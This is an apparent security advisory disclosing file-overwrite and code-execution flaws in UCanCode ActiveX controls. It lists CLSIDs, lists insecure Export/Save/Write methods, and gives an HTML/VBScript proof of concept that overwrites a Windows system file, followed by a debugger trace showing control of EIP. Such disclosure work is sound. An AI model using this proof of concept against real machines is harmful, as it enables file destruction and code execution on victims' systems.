UCanCode has active-x vulnerabilities which allow for remote code execution and denial of service attacks.
a65bb98b56e177de39cb68a5ca7eaebbhttp://shinnai.altervista.org/exploits/SH-0025-20161123.html
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UCanCode multiple vulnerabilities
Url: http://www.hmi-software.com/
http://www.ucancode.net/index.htm
http://www.ucancode.net/bbs/zhuce/login.htm
Description: Form vendor's web page "UCanCode Software is a Market
Leading provider of HMI & SCADA, CAD, UML, GIS, Vector Graphics
and Real Time Data Visualization Graphics Source Code Kits
for C/C++ and .NET software developers more than 40 countries
around the world!"
Great... 40 countries. It's time to take a look to their
software!
Package name "UCanCode_Controls.zip"
After the installation, we can found these activex
controls:
---------------------------------------------
ProgID: UCCVIEWER.UCCViewerCtrl.1
CLSID: {3B7B3C36-8515-4E15-BC46-D1BEBA2F360C}
---------------------------------------------
ProgID: UCCDRAW.UCCDrawCtrl.1
CLSID: {4B5BEE59-EDD2-4082-A9F7-D65E1CA20FA7}
---------------------------------------------
progID: TKDRAWCAD.TKDrawCADCtrl.1
CLSID: {9022B790-B810-45B4-80BC-2D94EEC5343C}
---------------------------------------------
ProgID: UCCPRINT.UCCPrintCtrl.1
CLSID: {A4FCBD44-6BF5-405C-9598-C8E8ADCE4488}
---------------------------------------------
ProgID: UCCDIAGRAM.UCCDiagramCtrl.1
CLSID: {B6A3BF2C-F770-4182-BE7F-103BF2C76826}
---------------------------------------------
ProgID: UCCUML.UCCUMLCtrl.1
CLSID: {C1F0EE85-363F-483D-97D0-87E2A537BFBA}
---------------------------------------------
ProgID: UCCHMI.UCCHMICtrl.1
CLSID: {EDBBC1DC-58B2-4404-85FD-F9B1C05D96EF}
---------------------------------------------
ProgID: UCCSIMPLE.UCCSIMPLECtrl.1
CLSID: {EF3AAE34-E60A-11E1-9656-00FF8A2F9C5B}
---------------------------------------------
and all are marked as: RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: False
Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.altervista.org/
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INSECURE METHODS:
In these coontrols there are a lot of insecure methods which can be used
to overwrite
arbitrary files in user's pc. This is the complete list:
1) various Export* methods
Library: UCCSIMPLELib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCSIM~1.OCX
Class: UCCSIMPLE {EF3AAE34-E60A-11E1-9656-00FF8A2F9C5B}
Sub ExportAsBitmapFile (ByVal strFile As String)
----------------------------------------
Library: UCCSIMPLELib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCSIM~1.OCX
Class: UCCSIMPLE {EF3AAE34-E60A-11E1-9656-00FF8A2F9C5B}
Sub ExportAsEMFFile (ByVal strFile As String)
----------------------------------------
Library: UCCHMILib - C:\PROGRA~1\UCANCO~1\UCANCO~1\HMI_OCX\UCCHMI.ocx
Class: UCCHMI {EDBBC1DC-58B2-4404-85FD-F9B1C05D96EF}
Sub ExportAsBitmapFile (ByVal strFile As String)
----------------------------------------
Library: UCCHMILib - C:\PROGRA~1\UCANCO~1\UCANCO~1\HMI_OCX\UCCHMI.ocx
Class: UCCHMI {EDBBC1DC-58B2-4404-85FD-F9B1C05D96EF}
Sub ExportAsEMFFile (ByVal strFile As String)
----------------------------------------
Library: UCCUMLLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCUML.ocx
Class: UCCUML {C1F0EE85-363F-483D-97D0-87E2A537BFBA}
Sub ExportAsBitmapFile (ByVal strFile As String)
----------------------------------------
Library: UCCUMLLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCUML.ocx
Class: UCCUML {C1F0EE85-363F-483D-97D0-87E2A537BFBA}
Sub ExportAsEMFFile (ByVal strFile As String)
----------------------------------------
Library: UCCUMLLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCUML.ocx
Class: UCCUML {C1F0EE85-363F-483D-97D0-87E2A537BFBA}
Function ExportBitmapData (ByRef phBlob As Long, ByVal imageShape As
Long) As Boolean
----------------------------------------
Library: UCCDIAGRAMLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDIA~1.OCX
Class: UCCDiagram {B6A3BF2C-F770-4182-BE7F-103BF2C76826}
Sub ExportAsBitmapFile (ByVal strFile As String)
----------------------------------------
Library: UCCDIAGRAMLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDIA~1.OCX
Class: UCCDiagram {B6A3BF2C-F770-4182-BE7F-103BF2C76826}
Sub ExportAsEMFFile (ByVal strFile As String)
----------------------------------------
Library: UCCPRINTLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCPrint.ocx
Class: UCCPrint {A4FCBD44-6BF5-405C-9598-C8E8ADCE4488}
Sub ExportAsBitmapFile (ByVal strFile As String)
----------------------------------------
Library: UCCPRINTLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCPrint.ocx
Class: UCCPrint {A4FCBD44-6BF5-405C-9598-C8E8ADCE4488}
Sub ExportAsEMFFile (ByVal strFile As String)
----------------------------------------
Library: TKDRAWCADLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\TKDRAW~1.OCX
Class: TKDrawCAD {9022B790-B810-45B4-80BC-2D94EEC5343C}
Sub ExportAsBitmapFile (ByVal strFile As String)
----------------------------------------
Library: TKDRAWCADLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\TKDRAW~1.OCX
Class: TKDrawCAD {9022B790-B810-45B4-80BC-2D94EEC5343C}
Sub ExportAsEMFFile (ByVal strFile As String)
----------------------------------------
Library: UCCDRAWLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDraw.ocx
Class: UCCDraw {4B5BEE59-EDD2-4082-A9F7-D65E1CA20FA7}
Sub ExportAsBitmapFile (ByVal strFile As String)
----------------------------------------
Library: UCCDRAWLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDraw.ocx
Class: UCCDraw {4B5BEE59-EDD2-4082-A9F7-D65E1CA20FA7}
Sub ExportAsEMFFile (ByVal strFile As String)
----------------------------------------
Library: UCCDRAWLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDraw.ocx
Class: UCCDraw {4B5BEE59-EDD2-4082-A9F7-D65E1CA20FA7}
Function ExportToBitmapFile (ByVal lpszFile As String) As Boolean
----------------------------------------
Library: UCCVIEWERLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCVIE~1.OCX
Class: UCCViewer {3B7B3C36-8515-4E15-BC46-D1BEBA2F360C}
Sub ExportAsBitmapFile (ByVal strFile As String)
----------------------------------------
Library: UCCVIEWERLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCVIE~1.OCX
Class: UCCViewer {3B7B3C36-8515-4E15-BC46-D1BEBA2F360C}
Sub ExportAsEMFFile (ByVal strFile As String)
----------------------------------------
2) various Save* methods:
----------------------------------------
Library: UCCSIMPLELib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCSIM~1.OCX
Class: UCCSIMPLE {EF3AAE34-E60A-11E1-9656-00FF8A2F9C5B}
Function SaveMemory2 (ByVal filename As String, ByVal pData As Long,
ByVal nSize As Long) As Boolean
----------------------------------------
Library: UCCHMILib - C:\PROGRA~1\UCANCO~1\UCANCO~1\HMI_OCX\UCCHMI.ocx
Class: UCCHMI {EDBBC1DC-58B2-4404-85FD-F9B1C05D96EF}
Function SaveMemory2 (ByVal filename As String, ByVal pData As Long,
ByVal nSize As Long) As Boolean
----------------------------------------
Library: UCCUMLLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCUML.ocx
Class: UCCUML {C1F0EE85-363F-483D-97D0-87E2A537BFBA}
Function SaveMemory2 (ByVal filename As String, ByVal pData As Long,
ByVal nSize As Long) As Boolean
----------------------------------------
Library: UCCDIAGRAMLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDIA~1.OCX
Class: UCCDiagram {B6A3BF2C-F770-4182-BE7F-103BF2C76826}
Function SaveMemory2 (ByVal filename As String , ByVal pData As Long ,
ByVal nSize As Long) As Boolean
----------------------------------------
Library: UCCDIAGRAMLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDIA~1.OCX
Class: UCCDiagram {B6A3BF2C-F770-4182-BE7F-103BF2C76826}
Sub SaveToXdgFile (ByVal lpszFileName As String)
----------------------------------------
Library: UCCDIAGRAMLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDIA~1.OCX
Class: UCCDiagram {B6A3BF2C-F770-4182-BE7F-103BF2C76826}
Function SaveTemplateToFile (ByVal strFile As String) As Boolean
----------------------------------------
Library: UCCPRINTLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCPrint.ocx
Class: UCCPrint {A4FCBD44-6BF5-405C-9598-C8E8ADCE4488}
Function SaveMemory2 (ByVal filename As String , ByVal pData As Long ,
ByVal nSize As Long) As Boolean
----------------------------------------
Library: UCCPRINTLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCPrint.ocx
Class: UCCPrint {A4FCBD44-6BF5-405C-9598-C8E8ADCE4488}
Sub SaveToXdgFile (ByVal lpszFileName As String)
----------------------------------------
Library: UCCPRINTLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCPrint.ocx
Class: UCCPrint {A4FCBD44-6BF5-405C-9598-C8E8ADCE4488}
Function SaveTemplateToFile (ByVal strFile As String) As Boolean
----------------------------------------
Library: TKDRAWCADLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\TKDRAW~1.OCX
Class: TKDrawCAD {9022B790-B810-45B4-80BC-2D94EEC5343C}
Function SaveMemory2 (ByVal filename As String , ByVal pData As Long ,
ByVal nSize As Long) As Boolean
----------------------------------------
Library: TKDRAWCADLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\TKDRAW~1.OCX
Class: TKDrawCAD {9022B790-B810-45B4-80BC-2D94EEC5343C}
Sub SaveToXdgFile (ByVal lpszFileName As String)
----------------------------------------
Library: TKDRAWCADLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\TKDRAW~1.OCX
Class: TKDrawCAD {9022B790-B810-45B4-80BC-2D94EEC5343C}
Function SaveTemplateToFile (ByVal strFile As String) As Boolean
----------------------------------------
Library: UCCDRAWLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDraw.ocx
Class: UCCDraw {4B5BEE59-EDD2-4082-A9F7-D65E1CA20FA7}
Function SaveMemory2 (ByVal filename As String, ByVal pData As Long,
ByVal nSize As Long) As Boolean
----------------------------------------
Library: UCCDRAWLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDraw.ocx
Class: UCCDraw {4B5BEE59-EDD2-4082-A9F7-D65E1CA20FA7}
Function SaveDocument (ByVal lpszFileName As String) As Boolean
----------------------------------------
Library: UCCDRAWLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDraw.ocx
Class: UCCDraw {4B5BEE59-EDD2-4082-A9F7-D65E1CA20FA7}
Sub SaveToXdgFile (ByVal lpszFileName As String)
----------------------------------------
Library: UCCVIEWERLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCVIE~1.OCX
Class: UCCViewer {3B7B3C36-8515-4E15-BC46-D1BEBA2F360C}
Function SaveMemory2 (ByVal filename As String, ByVal pData As Long,
ByVal nSize As Long) As Boolean
----------------------------------------
Library: UCCVIEWERLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCVIE~1.OCX
Class: UCCViewer {3B7B3C36-8515-4E15-BC46-D1BEBA2F360C}
Sub SaveToXdgFile (ByVal lpszFileName As String)
----------------------------------------
Library: UCCVIEWERLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCVIE~1.OCX
Class: UCCViewer {3B7B3C36-8515-4E15-BC46-D1BEBA2F360C}
Function SaveTemplateToFile (ByVal strFile As String) As Boolean
----------------------------------------
3) various Write methods:
----------------------------------------
Library: UCCSIMPLELib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCSIM~1.OCX
Class: UCCSIMPLE {EF3AAE34-E60A-11E1-9656-00FF8A2F9C5B}
Function Write (ByVal lpszFileName As String) As Boolean
----------------------------------------
Library: UCCHMILib - C:\PROGRA~1\UCANCO~1\UCANCO~1\HMI_OCX\UCCHMI.ocx
Class: UCCHMI {EDBBC1DC-58B2-4404-85FD-F9B1C05D96EF}
Function Write (ByVal lpszFileName As String) As Boolean
----------------------------------------
Library: UCCUMLLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCUML.ocx
Class: UCCUML {C1F0EE85-363F-483D-97D0-87E2A537BFBA}
Function Write (ByVal lpszFileName As String) As Boolean
----------------------------------------
Library: UCCDIAGRAMLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDIA~1.OCX
Class: UCCDiagram {B6A3BF2C-F770-4182-BE7F-103BF2C76826}
Function Write (ByVal lpszFileName As String) As Boolean
----------------------------------------
Library: UCCPRINTLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCPrint.ocx
Class: UCCPrint {A4FCBD44-6BF5-405C-9598-C8E8ADCE4488}
Function Write (ByVal lpszFileName As String) As Boolean
----------------------------------------
Library: TKDRAWCADLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\TKDRAW~1.OCX
Class: TKDrawCAD {9022B790-B810-45B4-80BC-2D94EEC5343C}
Function Write (ByVal lpszFileName As String) As Boolean
----------------------------------------
Library: UCCDRAWLib - C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCDraw.ocx
Class: UCCDraw {4B5BEE59-EDD2-4082-A9F7-D65E1CA20FA7}
Function Write (ByVal lpszFileName As String) As Boolean
----------------------------------------
Library: UCCVIEWERLib -
C:\PROGRA~1\UCANCO~1\UCANCO~1\OCX_PR~1\UCCVIE~1.OCX
Class: UCCViewer {3B7B3C36-8515-4E15-BC46-D1BEBA2F360C}
Function Write (ByVal lpszFileName As String) As Boolean
----------------------------------------
PROOF OF CONCEPT:
<html>
<object classid="clsid:B6A3BF2C-F770-4182-BE7F-103BF2C76826"
id="test"></object>
<script language = "vbscript">
test.SaveTemplateToFile buff,C:\Windows\_system.ini
</script>
</html>
----------------------------------------
----------------------------------------
REMOTE CODE EXECUTION
This product is so poor coded that remote code execution is possible
using a lot of functions (and I'm lazy),
so here it is the description of just one of it, "AddDWordUserProperty":
CPU Disasm
Address Hex dump Command
Comments
...
...
1007FEB5 |. 8D5424 44 LEA EDX,[LOCAL.36]
1007FEB9 |. 51 PUSH ECX
1007FEBA |. 8B06 MOV EAX,DWORD PTR DS:[ESI] <- WE CAN CONTROL
ESI
1007FEBC |. 52 PUSH EDX
1007FEBD |. 8BCE MOV ECX,ESI
1007FEBF |. C78424 DC0000 MOV DWORD PTR SS:[LOCAL.0],0
1007FECA |. 897C24 10 MOV DWORD PTR SS:[LOCAL.51],EDI
1007FECE |. FF90 04030000 CALL DWORD PTR DS:[EAX+304]
1007FED4 |. 85C0 TEST EAX,EAX
...
...
Registers:
CPU - thread 9. (00000B38), module UCCVIE~1_OCX
EAX 015DD1D0
ECX 015DD194
EDX 015DD1D0
EBX 00000000
ESP 015DD188
EBP 015DD300
ESI 41414141 <- FIRST ARGUMENT PASSED TO AddDWordUserProperty METHOD
EDI 42424242 <- SECOND ARGUMENT PASSED TO AddDWordUserProperty METHOD
EIP 1007FEBA UCCVIE~1_OCX.1007FEBA
----------------------------------------------------------------------
We can use it to pass a valid memory address so that we can find a more
comfortable situation :)
CPU Disasm
Address Hex dump Command
Comments
...
...
1007FEB5 |. 8D5424 44 LEA EDX,[LOCAL.36]
1007FEB9 |. 51 PUSH ECX
1007FEBA |. 8B06 MOV EAX,DWORD PTR DS:[ESI]
1007FEBC |. 52 PUSH EDX
1007FEBD |. 8BCE MOV ECX,ESI
1007FEBF |. C78424 DC0000 MOV DWORD PTR SS:[LOCAL.0],0
1007FECA |. 897C24 10 MOV DWORD PTR SS:[LOCAL.51],EDI
1007FECE |. FF90 04030000 CALL DWORD PTR DS:[EAX+304] <- WE NOW ARE IN
CONTROL OF EAX
1007FED4 |. 85C0 TEST EAX,EAX
...
...
Registers
CPU - thread 9. (00000B38), module UCCVIE~1_OCX
EAX 45454545 <- THIS VALUE THAT WAS PREVIOUSLY STORED IN MEMORY, IF WE
CHANGE IT IN ANOTHER VALID ADDRESS...
ECX 00030040 ASCII "EEEE"
EDX 015DD1D0
EBX 00000000
ESP 015DD184
EBP 015DD300
ESI 00030040 ASCII "EEEE"
EDI 42424242
EIP 1007FECE UCCVIE~1_OCX.1007FECE
And...
CPU - thread 9. (00000B38)
EAX 0002FDBC
ECX 00030040 ASCII "EEEE"
EDX 015DD1D0
EBX 00000000
ESP 015DD180
EBP 015DD300
ESI 00030040 ASCII "EEEE"
EDI 42424242
EIP 46464646 <- BINGO :)
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BONUS STAGE:
There are a huge number of DoS... happy hunting :)
Peace, your friendly neighborhood shinnai.
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